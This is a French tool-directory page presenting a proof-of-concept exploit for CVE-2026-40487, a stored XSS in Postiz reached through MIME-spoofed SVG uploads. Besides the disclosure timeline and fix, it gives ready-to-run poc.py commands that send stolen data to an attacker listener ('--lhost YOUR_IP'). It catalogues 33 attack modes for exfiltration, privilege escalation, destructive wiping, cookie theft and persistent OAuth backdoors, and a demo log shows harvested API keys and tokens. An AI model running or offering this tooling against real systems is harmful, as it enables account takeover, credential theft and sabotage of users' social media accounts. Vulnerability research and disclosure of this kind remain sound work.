Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-40487 — Preuve de concept pour CVE-2026-40487, démontrant un téléversement arbitraire de fichiers via une usurpation MIME menant à un XSS stocké et à une prise de contrôle de compte dans Postiz. Inclut plusieurs modes d'attaque pour l'exfiltration de données, l'élévation de privilèges et la persistance. | Kitploit
Outils/GitHubGitHub/astaruf/cve-2026-40487
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'IntrusionDéveloppement de Charges Utiles
GitHubastaruf/cve-2026-40487

CVE-2026-40487

Voir le dépôt
32il y a 4 moisPas encore vérifié
Site web

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

À propos

Preuve de concept pour CVE-2026-40487, démontrant un téléversement arbitraire de fichiers via une usurpation MIME menant à un XSS stocké et à une prise de contrôle de compte dans Postiz. Inclut plusieurs modes d'attaque pour l'exfiltration de données, l'élévation de privilèges et la persistance.

Partager

CVE-2026-40487 - Postiz <= 2.21.5 - Téléchargement arbitraire de fichier via usurpation de type MIME menant à une XSS stockée puis à une prise de contrôle de compte

Découvert et signalé par : Astaruf

Analyse complète : https://nstsec.com/en/posts/postiz-xss-cve-2026-40487/

Entrée NVD : https://nvd.nist.gov/vuln/detail/CVE-2026-40487

Entrée GHSA : https://github.com/gitroomhq/postiz-app/security/advisories/GHSA-44wg-r34q-hvfx

Enregistrement CVE : https://www.cve.org/CVERecord?id=CVE-2026-40487


Résumé

Postiz est un outil open-source de gestion des réseaux sociaux avec plus de 28 intégrations de plateformes (Instagram, X, LinkedIn, Facebook, TikTok, etc.), utilisé par plus de 600 instances exposées sur Internet.

Un attaquant disposant de faibles privilèges peut télécharger un fichier SVG (ou HTML) malveillant avec un en-tête Content-Type: image/png usurpé. Le serveur accepte le fichier sans inspecter son contenu réel, conserve l'extension d'origine, et nginx le sert avec le Content-Type dérivé de cette extension (image/svg+xml). Lorsqu'une victime ouvre l'URL, le JavaScript intégré s'exécute dans l'origine de l'application, donnant à l'attaquant des capacités complètes de détournement de session équivalentes à une prise de contrôle de compte.

La chaîne d'attaque :

root@kitploit:~
L'attaquant télécharge un .svg avec Content-Type: image/png
  -> Le serveur valide uniquement l'en-tête Content-Type (CWE-345)
    -> Le fichier est enregistré sur le disque avec l'extension .svg d'origine (CWE-434)
      -> nginx le sert comme image/svg+xml
        -> Le navigateur exécute le JavaScript intégré (CWE-79)
          -> Même origine : accès complet à la session de la victime

Impact

La charge utile XSS s'exécute dans la même origine que l'application. Même si le cookie d'authentification est HttpOnly, fetch() avec credentials: "include" l'attache automatiquement. L'attaquant peut :

  • Exfiltrer le profil de la victime, les clés API, les jetons OAuth de tous les comptes de réseaux sociaux connectés
  • Lire, créer, modifier et supprimer les publications planifiées sur toutes les plateformes
  • Inviter l'attaquant comme administrateur dans l'organisation de la victime
  • Créer une porte dérobée OAuth persistante (jeton pos_* qui n'expire jamais et survit aux changements de mot de passe)
  • Désactiver les notifications, effacer les configurations, forcer la déconnexion
  • Exécuter des appels API authentifiés arbitraires en tant que victime

Détails de la vulnérabilité

Trois composants échouent indépendamment, créant la chaîne d'exploitation :

1. La validation du type MIME fait confiance à l'entrée client (CWE-345)

libraries/nestjs-libraries/src/upload/custom.upload.validation.ts :

root@kitploit:~
const validation =
  (value.mimetype.startsWith('image/') ||
    value.mimetype.startsWith('video/mp4')) &&
  value.size <= maxSize;

value.mimetype provient de l'en-tête Content-Type de la requête multipart, que l'attaquant contrôle. Aucune inspection des octets magiques, aucune utilisation de bibliothèques comme file-type.

2. L'extension d'origine est conservée sur le disque (CWE-434)

libraries/nestjs-libraries/src/upload/local.storage.ts :

root@kitploit:~
const filePath = `${dir}/${randomName}${extname(file.originalname)}`;
writeFileSync(filePath, file.buffer);

extname(file.originalname) extrait l'extension du nom de fichier fourni par le client. Aucune vérification de cohérence entre le type MIME déclaré et l'extension. Le serveur renvoie également l'URL publique complète dans la réponse, ce qui permet à l'attaquant d'obtenir le lien à envoyer à la victime.

3. nginx sert avec un Content-Type dérivé de l'extension

root@kitploit:~
http {
    include       /etc/nginx/mime.types;
    location /uploads/ {
        alias /uploads/;
    }
}

nginx associe .svg à image/svg+xml, .html à text/html. Pas de Content-Security-Policy, pas de X-Content-Type-Options: nosniff, pas de Content-Disposition: attachment.

Preuve de concept

Prérequis

root@kitploit:~
Python 3.8+
pip install requests

Démarrage rapide

root@kitploit:~
# 1. Vérifier si la cible est vulnérable
python3 poc.py http://target:5000 -e [email protected] -p password --check

# 2. Exfiltrer tout depuis la victime
python3 poc.py http://target:5000 -e [email protected] -p password \
    --lhost YOUR_IP -a full-dump

# 3. Créer une porte dérobée persistante
python3 poc.py http://target:5000 -e [email protected] -p password \
    --lhost YOUR_IP -a create-oauth-app

# 4. Réutiliser le jeton sans identifiants
python3 poc.py http://target:5000 -t pos_XXXX...XXXX \
    --lhost YOUR_IP -a full-dump

Flux d'attaque

root@kitploit:~
Attaquant                    Serveur Postiz              Victime
    |                              |                        |
    |-- 1. Connexion/Inscription ->|                        |
    |-- 2. Téléchargement SVG malveillant ->|               |
    |<---- URL du fichier ---------|                        |
    |-- 3. Envoi de l'URL à la victime -------------------> |
    |                              |<--- 4. Ouvre l'URL --- |
    |                              |--- SVG + JS ---------> |
    |<-------------- 5. JS s'exécute, exfiltre les données -|

Tous les modes d'attaque (33)

Exfiltration (19 modes) - voler les données de la victime
ModeDescription
dump-selfProfil de la victime, infos d'organisation, niveau, clé API
dump-personalNom d'affichage, bio, photo de profil
dump-integrationsIntégrations de réseaux sociaux connectées et jetons
dump-postsPublications planifiées et brouillons (365 derniers jours)
dump-teamMembres de l'équipe, rôles et adresses e-mail
dump-mediaListe de la bibliothèque multimédia
dump-notificationsHistorique des notifications
dump-signaturesSignatures de publications
dump-webhooksWebhooks configurés et leurs URL
dump-oauth-appIdentifiants de l'application OAuth (clientId, secret)
dump-copilotFils de conversation du copilote IA
dump-billingInformations de facturation et d'abonnement
dump-settingsParamètres de liens courts et de notifications
dump-third-partyConfigurations des intégrations tierces
dump-autopostRègles de publication automatique
dump-setsEnsembles de contenu
dump-tagsTags de publications
dump-customersListe des clients
full-dumpTout ce qui précède dans une seule charge utile
Élévation de privilèges (3 modes)
ModeDescription
add-adminInviter l'attaquant comme ADMIN dans l'org de la victime (--attacker-email)
rotate-keyPivoter la clé API de l'org et l'exfiltrer
rotate-oauthPivoter le secret de l'application OAuth et l'exfiltrer
Sabotage (9 modes) - actions destructrices
ModeDescription
kill-notificationsDésactiver toutes les notifications par e-mail
edit-profileModifier le nom et la bio de la victime (--edit-name, --edit-bio)
wipe-signaturesSupprimer toutes les signatures de publications
wipe-webhooksSupprimer tous les webhooks
wipe-tagsSupprimer tous les tags
wipe-setsSupprimer tous les ensembles de contenu
wipe-autopostSupprimer toutes les règles de publication automatique
logout-victimForcer la déconnexion de la victime
delete-oauth-appSupprimer l'application OAuth de la victime
Porte dérobée (2 modes) - accès persistant
ModeDescription
create-oauth-appCréer une application OAuth, approbation automatique, exfiltrer le jeton pos_* persistant (--oauth-redirect)
steal-cookieVoler le JWT d'authentification via document.cookie (quand NOT_SECURED=true)
Générique (2 modes) - avancé
ModeDescription
api-callAppel API authentifié arbitraire (--api-method, --api-path, --api-body)
customExécuter du JavaScript arbitraire (--custom-js)

Options supplémentaires

OptionDescription
--checkSonder si la cible est vulnérable (aucune attaque exécutée)
--registerEnregistrer un nouveau compte avant la connexion
-t / --tokenUtiliser une clé API ou un jeton pos_* au lieu d'identifiants
--format htmlUtiliser une charge utile HTML au lieu de SVG
--proxyRouter le trafic via un proxy HTTP/SOCKS (ex. Burp Suite)
-o / --outputEnregistrer le butin dans un fichier JSON

Démonstration

root@kitploit:~
$ python3 poc.py http://target:5000 -e [email protected] -p S3cret! --lhost 10.0.0.1 -a full-dump

 ██████╗██╗   ██╗███████╗        ██╗  ██╗  ██████╗  ██╗  ██╗  █████╗  ███████╗
██╔════╝██║   ██║██╔════╝        ██║  ██║ ██╔═████╗ ██║  ██║ ██╔══██╗ ╚════██║
██║     ██║   ██║█████╗   -2026- ███████║ ██║██╔██║ ███████║ ╚█████╔╝     ██╔╝
██║     ╚██╗ ██╔╝██╔══╝          ╚════██║ ████╔╝██║ ╚════██║ ██╔══██╗    ██╔╝
╚██████╗ ╚████╔╝ ███████╗             ██║ ╚██████╔╝      ██║ ╚█████╔╝    ██║
 ╚═════╝  ╚═══╝  ╚══════╝             ╚═╝  ╚═════╝       ╚═╝  ╚════╝     ╚═╝

  Postiz <= 2.21.5 — XSS stockée via téléchargement de fichier à type MIME usurpé

[*] Connexion en tant que [email protected] ...
[+] Authentifié.
[*] Génération de la charge utile : Exfiltrer tout en une seule charge utile
[*] Téléchargement du .svg malveillant avec Content-Type: image/png ...
[+] Téléchargement réussi.
    ID:   28c1daee-d83e-403e-bc1f-dba63182d4b0
    Chemin : http://target:5000/uploads/2026/04/15/4be19b2244eb.svg
[*] Démarrage de l'écouteur d'exfiltration sur 0.0.0.0:8888 ...

=================================================================
  Envoyez cette URL à la victime :

  http://target:5000/uploads/2026/04/15/4be19b2244eb.svg

=================================================================

[*] En attente que la victime ouvre le lien ...

[+] Butin reçu @ 2026-04-15 03:45:41
    tag: victim-profile
    data: {"email":"[email protected]","orgId":"...","publicApi":"bd332945..."}

[+] Butin reçu @ 2026-04-15 03:45:41
    tag: integrations
    data: [{"id":"...","providerIdentifier":"instagram","token":"IGQVJ..."}]

[+] Butin reçu @ 2026-04-15 03:45:42
    tag: team-members
    data: [{"userId":"...","email":"[email protected]","role":"SUPERADMIN"}]
    ...

Correctif

La version 2.21.6 a introduit trois changements :

  1. Validation des octets magiques à l'aide de la bibliothèque file-type pour inspecter le contenu réel du fichier
  2. Liste blanche explicite des types MIME (plus de joker image/*)
  3. Remplacement de l'extension en fonction du type de contenu détecté

Chronologie

DateÉvénement
2026-04-10Vulnérabilité découverte lors d'une revue de code source
2026-04-10Signalée via GitHub Security Advisory (GHSA)
2026-04-10Les développeurs ont reconnu et demandé des clarifications
2026-04-10Scénarios d'attaque détaillés et données Shodan fournis
2026-04-11Contestation du CVSS soumise avec preuves
2026-04-13Correctif publié dans la v2.21.6
2026-04-14CVE-2026-40487 attribué
2026-04-15Divulgation publique

Références

  • Analyse complète d'Astaruf
  • CVE-2026-40487 - Avis de sécurité GHSA
  • CVE-2026-40487 - Entrée NVD
  • Postiz - Dépôt officiel
  • Postiz v2.21.6 - Version de correctif
  • CWE-345 : Vérification insuffisante de l'authenticité des données
  • CWE-434 : Téléchargement sans restriction de fichier de type dangereux
  • CWE-79 : Cross-Site Scripting stocké
  • OWASP - Téléchargement de fichier sans restriction

Avertissement

Cet outil est fourni uniquement pour des tests de sécurité autorisés et à des fins éducatives. Utilisez-le uniquement contre des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite de test. L'accès non autorisé à des systèmes informatiques est illégal. L'auteur décline toute responsabilité en cas d'utilisation abusive.

Licence

MIT

Télécharger l’outil